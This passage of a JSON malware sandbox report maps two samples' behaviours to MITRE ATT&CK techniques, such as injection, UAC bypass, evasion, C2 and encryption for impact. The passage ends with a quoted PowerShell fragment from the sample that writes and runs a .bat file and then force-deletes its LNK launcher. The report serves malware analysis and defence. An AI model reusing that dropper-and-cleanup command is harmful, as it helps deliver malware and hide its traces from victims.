file"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Creates/modifies Windows services using PowerShell"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Able to delete items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Contains ability to detect virtual environment"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"LNK file contains script/archive file extension"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","identifiers":[{"type":"suspicious","value":"Invokes the C# compiler"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Retrieves specified items using PowerShell"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Tries to enumerate objects using PowerShell"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Detected directory listing command"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Reads files"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Tries to move items using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Tries to open documents files"},{"type":"informative","value":"Queries list of installed browsers"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","sources":[{"report_type":"sandbox","report_id":"668684073b3ab60e6a0f7f5e"},{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6632485fb2c5e1826d02ac62"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Able to delete items (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Remove-Item\"; File: \"00000000-00005204\")\n file/memory contains long string with (Indicator: \"Remove-Item\"; File: \"00000000-00008260\")\n Found string \"061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;\" && exit